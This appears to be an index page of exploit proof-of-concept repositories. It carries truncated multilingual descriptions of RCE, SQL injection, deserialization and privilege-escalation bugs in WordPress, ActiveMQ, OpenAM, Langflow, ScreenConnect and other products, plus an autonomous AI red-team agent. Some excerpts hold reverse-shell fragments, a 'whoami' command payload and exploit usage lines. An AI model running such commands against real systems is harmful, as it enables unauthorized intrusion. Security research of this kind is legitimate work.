CVE-2026-63030-CVE-2026-60137-wp2shell-poc

wp2shell — WordPress REST API Time-Based Blind SQLi → RCE Proof‑of‑Concept Описание pocwptot.py — это proof‑of‑concept PoC для эксплуатации уязвимости time‑based blind SQL injection в конечной точке batch WordPress REST API, и проведения цепочки эскалации до Remote Code Execution RCE. Проверяемые...

CVE-2021-27928

Informations Exploit Title: MariaDB 10.2 /MySQL - 'wsrepprovider' OS Command Execution Date: 03/18/2021 Exploit Author: Central InfoSec Version: MariaDB 10.2 before 10.2.37 10.3 before 10.3.28 10.4 before 10.4.18 10.5 before 10.5.9 Percona Server through 2021-03-03; and the wsrep patch through...

CVE-2026-10520-10523

CVE-2026-10520, CVE-2026-10523 Ivanti Sentry ⚡ Utilisation simple Utilisez ce projet uniquement dans des environnements sûrs et autorisés tels que : Machines virtuelles locales Conteneurs Docker Configurations de laboratoire isolées Environnements de test d'intrusion autorisés Exemple...

CVE-2026-34197

CVE-2026-34197 - Apache ActiveMQ RCE via Jolokia 1. Aperçu Élément| Détails ---|--- CVE ID| CVE-2026-34197 CVSS| 8.8 ÉLEVÉ Type de vulnérabilité| Exécution de code à distance RCE CWE| CWE-20 Validation incorrecte des entrées / CWE-94 Injection de code Composant affecté| Apache ActiveMQ Classic -...

CVE-2026-33439-PoC

CVE-2026-33439 — Pre-Auth RCE в OpenAM Удалённое выполнение кода до аутентификации в OpenIdentityPlatform OpenAM = 16.0.5 через небезопасную десериализацию Java параметра jato.clientSession CVSS 9.8. Только для авторизованного тестирования безопасности. Быстрый старт 1. Build payload downloads JA...

CVE-2026-33017-langflow-rce

CVE-2026-33017 - Langflow Unauthenticated Remote Code Execution RCE Overview CVE ID: CVE-2026-33017 Affected Software: Langflow Vulnerable Versions: = 1.9.0 Severity: Critical Author: arensballiu Date: 2026 Description Langflow exposes a public flow build endpoint /api/v1/buildpublictmp/flowID/fl...

hpim-training-lab

hpim-training-lab HPIM Training-Case Replication Lab Citable release Zenodo: DOI 10.5281/zenodo.22868247 — license CC-BY 4.0. This repository contains a fully containerized replication of the training scenario described in OpenAI's official technical report on the Hugging Face incident, used to...

Flowise-RCE-CVE-2025-59528

CVE-2025-59528 - Flowise AI Authenticated Remote Code Execution RCE Overview CVE ID: CVE-2025-59528 Affected Software: Flowise AI Vulnerable Versions: = 3.0.4 Fixed Version: 3.0.5 and later Severity: Critical Author: arensballiu Date: 2025 Description Flowise AI versions up to and including 3.0.4...

CVE-2020-14343-PyYAML

CVE-2020-14343 PyYAML Уязвимость десериализации POC Обзор уязвимости Элемент| Информация ---|--- CVE ID| CVE-2020-14343 Затронутый компонент| PyYAML Пример: python poc.py http://vulnerable-site.com 192.168.1.100 4444 Ход атаки 1. Скрипт запускает локальный TCP-прослушиватель 2. Загружает...

CVE-2023-20198

CVE-2023-20198 PoC d'exploitation pour CVE-2023-20198 Description CVE-2023-20198 est caractérisé par une validation de chemin incorrecte permettant de contourner le filtrage Nginx pour atteindre le point de terminaison web webuiwsmahttp sans nécessiter d'authentification. En contournant...

CVE-2018-14324-Exploit

Взлом Eclipse GlassFish - CVE-2018-14324 Описание CVE-2018-14324 не полностью объясняет влияние этой уязвимости. Кратко: у вас есть доступ к Java Management Extensions JMX через жестко закодированные учетные данные admin:admin. Хотя воздействие указано как «потенциально чувствительная информация,...

CVE-2026-33439-Poc

CVE-2026-33439 RCE до аутентификации в OpenIdentityPlatform OpenAM через небезопасную десериализацию Java параметра jato.clientSession. Затронуты версии & /dev/tcp/HOST/PORT 0&1' Вывод слепой. Запрос блокируется до завершения команды, поэтому время подтверждает выполнение --command 'sleep 5'...

CVE-2024-40110

Система управления птицефермой v1.0 - RCE-эксплойт Тип уязвимости Неаутентифицированная загрузка файлов с удалённым выполнением кода Описание Система управления птицефермой v1.0 содержит критическую уязвимость в функционале загрузки товаров. Приложение не выполняет надлежащую проверку и санитизац...

CVE-2021-3560

Уязвимость Polkit - CVE-2021-3560 📕 Введение В 2021 году исследователь Кевин Бэкхаус обнаружил уязвимость повышения привилегий в утилите polkit. однако не все версии Linux уязвимы для polkit. Ниже приведен пример уязвимой версии; Red Hat Enterprise Linux 8 Fedora 21 или новее Debian Testing...

CVE-2026-90817

CVE-2026-90817 — REDCap Survey Passthru + Data Import RCE Python 3 чекер и настраиваемый эксплойт-хук для CVE-2026-90817 Securifera / Ryan Wincey. | ---|--- Продукт| REDCap Vanderbilt Затронуто| ≥ 13.3.0 до патча ветки Исправлено| 16.0.49 LTS, 17.3.10 LTS, 17.4.4 Standard+ CVSS 3.1| 9.8 Критическ...

CVE-2026-87902

CVE-2026-87902 — PoC: неаутентифицированный path traversal в разрешении page-template WordPress Файл эксплойта: exploitlocatetemplaterce.py — Python 3.6+ только stdlib. Пайплайн одной командой: безопасное обнаружение дифференциал LFI, без записи →, если уязвимо, RCE через гаджет pearcmd.php,...

CVE-2026-87902-PoC-pwnVader

CVE-2026-87902 — WordPress 코어 페이지 템플릿 해석에서의 비인증 로컬 파일 포함 → RCE 작성자: pwnVader · 라이선스: MIT 저장소 루트 | ---|--- 구성 요소| WordPress 코어 wp-includes/template.php 유형| CWE-98 — PHP 파일 포함 LFI → RCE 영향 대상| WordPress 7.1.2 7.0 브랜치는 7.0.6에서 수정됨; 6.x 백포트는 브랜치에 따라 다름 수정 버전| 7.1.2 / 7.0.6 CVE| CVE-2026-87902 — CVSS...

cve-2024-1708-connectwise_rce_reproduction

CVE-2024-1708 / CVE-2024-1709 — ConnectWise ScreenConnect : Contournement d'authentification et exécution de code à distance Score CVSS : 8.4 CVE-2024-1708 – 10.0 CVE-2024-1709 CWE : CWE-22 Traversée de chemin, CWE-288 Contournement d'authentification via un chemin alternatif Logiciel affecté :...

w3-total-cache-cve-2013-2010

w3-total-cache-cve-2013-2010 Exécution de code à distance sur W3 Total Cache cve 2013-2010 Utilisation : python3 w3tcrceexploit.py -u http://example.com -p "system'whoami';" Sortie : Ciblage : http://example.com + Charge utile envoyée avec succès. + Vérifiez l'exécution de la charge utile sur la...

Decepticon v1.2.2

Decepticon — Autonomous Red Team Agent "Another AI hacker? Let us guess — it runs nmap and writes a report." Commercial product demo ☁️ Don't want to self-host? Decepticon is live in the cloud. Skip the Docker setup — run autonomous red-team engagements right from your browser. Open-source CLI dem...